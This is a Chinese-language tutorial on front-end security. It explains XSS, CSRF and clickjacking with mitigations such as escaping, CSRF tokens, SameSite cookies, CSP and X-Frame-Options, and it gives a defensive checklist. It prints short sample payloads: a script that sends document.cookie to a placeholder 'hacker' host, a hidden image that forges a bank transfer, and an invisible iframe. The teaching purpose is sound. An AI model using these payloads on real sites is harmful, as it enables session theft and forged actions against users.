前端与浏览器安全知识详解

一、跨站脚本攻击（XSS） 攻击原理 定义：攻击者向页面注入恶意脚本（如 JavaScript），在用户浏览时执行，窃取 Cookie、篡改页面等。分类： 存储型 XSS：恶意脚本存储到服务器（如评论区）。反射型 XSS：恶意脚本通过 URL 参数反射到页面。DOM 型 XSS：前端直接操作 DOM 导致漏洞。 图文案例

攻击代码：

用户提交评论内容： <script>fetch(' hacker /steal?cookie=' + document.cookie)</script> 防护措施 输入过滤：对用户输入进行转义（如将 < 转义为 &lt;）。输出编码：// 使用框架内置的编码函数 const safeOutput = _.escape(userInput); // Lodash 设置 HTTP 头：Content-Security-Policy: script-src 'self' 禁止加载外部脚本

---

二、跨站请求伪造（CSRF） 攻击原理 定义：诱导用户访问恶意页面，利用已登录状态伪造用户身份发起请求（如转账）。核心条件：用户已登录目标网站且未登出。

攻击代码：

<img src=" bank /transfer?to=hacker&amount=10000" style="display:none"> 防护措施 CSRF Token：<form action="/transfer"> <input type="hidden" name="csrf_token" value="{{csrfToken}}"> </form> SameSite Cookie：Set-Cookie: sessionId=abc123; SameSite=Strict 验证 Referer/Origin：检查请求来源是否合法。

---

三、点击劫持（Clickjacking） 攻击原理 定义：攻击者通过透明 iframe 覆盖在正常页面上，诱导用户点击隐藏按钮（如点赞、关注）。

攻击代码：

<style> iframe { opacity: 0; position: absolute; top: 0; left: 0; } </style> <iframe src=" social /like?post=123"></iframe> 防护措施 设置 X-Frame-Options：X-Frame-Options: DENY // 禁止页面被嵌入 iframe 使用 CSP：Content-Security-Policy: frame-ancestors 'none'

---

四、浏览器安全策略 1. 同源策略（Same-Origin Policy） 规则：禁止页面读取不同源（协议+域名+端口）的资源。绕过风险：错误配置 CORS 导致数据泄露。 2. 内容安全策略（CSP） 配置示例：Content-Security-Policy: default-src 'self'; script-src 'self' trusted-cdn 3. 安全头配置 Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff

---

五、第三方依赖风险 案例：恶意 npm 包 事件：event-stream 包被注入恶意代码，窃取比特币钱包。防护： 使用 npm audit 检查依赖漏洞。锁定版本号（package-lock.json）。使用 Snyk、Dependabot 扫描依赖。

---

六、安全防护工具 浏览器 DevTools： 检查 Network 请求中的敏感信息泄露。使用 Security 面板查看 HTTPS 和 CSP 状态。 自动化扫描： OWASP ZAP：检测 XSS、SQL 注入等漏洞。Lighthouse：审计安全头配置。

---

总结：前端安全防护清单 风险类型防护手段XSS输入过滤、输出编码、CSP、避免 innerHTMLCSRFCSRF Token、SameSite Cookie、验证 Referer点击劫持X-Frame-Options、CSP 的 frame-ancestors数据泄露禁用 document.cookie、敏感数据不存 localStorage第三方依赖定期更新依赖、使用 npm auditHTTPS全站 HTTPS、HSTS 头、禁用混合内容（HTTP 资源）